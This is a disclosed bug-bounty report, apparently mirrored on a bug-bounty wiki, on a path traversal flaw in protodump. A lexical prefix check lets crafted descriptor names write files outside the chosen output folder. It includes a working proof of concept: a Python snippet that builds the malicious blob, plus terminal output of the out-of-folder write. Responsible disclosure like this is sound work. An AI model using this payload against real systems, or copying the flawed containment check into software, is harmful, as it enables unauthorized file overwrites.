Skip to content
Path traversal Disclosed report Intermediate

Path Traversal in writeFile via Unsafe Prefix Containment Check Allows Out-of-Directory Writes

The tool builds output file paths from attacker-controlled descriptor metadata and then checks containment with a lexical prefix comparison. An attacker who supplies a crafted binary can make the tool write .proto files into a sibling directory outside the chosen output folder.

tipsen Follow

Originally disclosed on HackerOne

Medium 6.7 View original
  • Fixed in 2 days
  • Disclosed after 2 days

Summary:

protodump uses descriptor-controlled paths (name/go_package) in output filename construction and then enforces containment with a lexical strings.HasPrefix check after EvalSymlinks. That check is bypassable with ../ traversal into existing prefix-matching sibling directories, enabling writes outside the intended output directory.

Steps To Reproduce:

  1. First of all, build the protodump
  2. Then, create a malicious input blob (descriptor name = ../out_pwn/evil.proto):
Python
name = b'../out_pwn/evil.proto'
with open('/tmp/evil.bin', 'wb') as f:
    f.write(bytes([0x0a, len(name)]) + name + b'\x00')
  1. Prepare output and prefix-collision sibling mkdir -p /tmp/out /tmp/out_pwn

  2. Run protodump:

Bash
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
  1. Full terminal output:
Bash
TIPSEN:~:% python
Python 3.13.9 (main, Oct 15 2025, 14:56:22) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> name = b'../out_pwn/evil.proto'
... with open('/tmp/evil.bin', 'wb') as f:
...     f.write(bytes([0x0a, len(name)]) + name + b'\x00')
...
24
>>> exit
TIPSEN:~:% mkdir -p /tmp/out /tmp/out_pwn
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
evil.proto

Supporting Material/References:

The root cause :)

  1. https://github.com/arkadiyt/protodump/tree/main/pkg/protodump/proto.go#L47-L55: Filename() builds output-relative paths from descriptor-controlled meta data (go_package + descriptor path), so attacker input can influence directory components.
  2. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L98-L100: the attacker-influenced filename is passed directly into writeFile(...) and used for filesystem writes.
  3. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L32-L35: directory parts are derived from path.Clean(fileDir) and then joined under output, so traversal tokens are processed into parent/sibling path movement.
  4. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L41-L47: containment is enforced with strings.HasPrefix(base, outputDirAbs), which is a lexical prefix check and not a safe path-boundary check.
  5. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L51-L58: after the flawed check, MkdirAll + WriteFile create/write the final path, enabling out-of-directory write when prefix-collision conditions are met.

Impact

An attacker who can provide a crafted binary can cause protodump to create or overwrite .proto files outside the user-selected output folder when the victim runs the tool. This enables integrity compromise of adjacent project artifacts.

The original report as published on HackerOne, by tipsen. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the containment check compares path strings with a prefix test instead of checking real directory boundaries, so a sibling directory sharing the prefix passes.

Impact

An attacker who can supply a crafted binary could cause the tool to create or overwrite .proto files outside the chosen output folder, compromising adjacent project files, but only when a prefix-matching sibling directory exists.

What the attacker needed

Victim runs the tool on attacker-supplied binary; a sibling directory sharing the output prefix exists

The fix

The text does not state a fix; it only notes the prefix check is not a safe path-boundary check.

How it was found

  1. Build the protodump tool.
  2. Create a malicious input blob whose descriptor name contains a traversal path.
  3. Create the output directory and a sibling directory whose name shares the output prefix.
  4. Run protodump against the malicious blob with the chosen output directory.
  5. Observe the file written into the sibling directory instead of the output directory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A program that converts a binary file into text files decides where to save each output using names taken from inside that binary. It tries to keep everything inside the folder you picked, but it checks this by comparing the start of the path text rather than real folder boundaries. So a name containing '..' can climb out into a neighbouring folder whose name happens to start the same way.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by tipsen

View all

1 more disclosed report, best first.

More from arkadiyt-projects

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.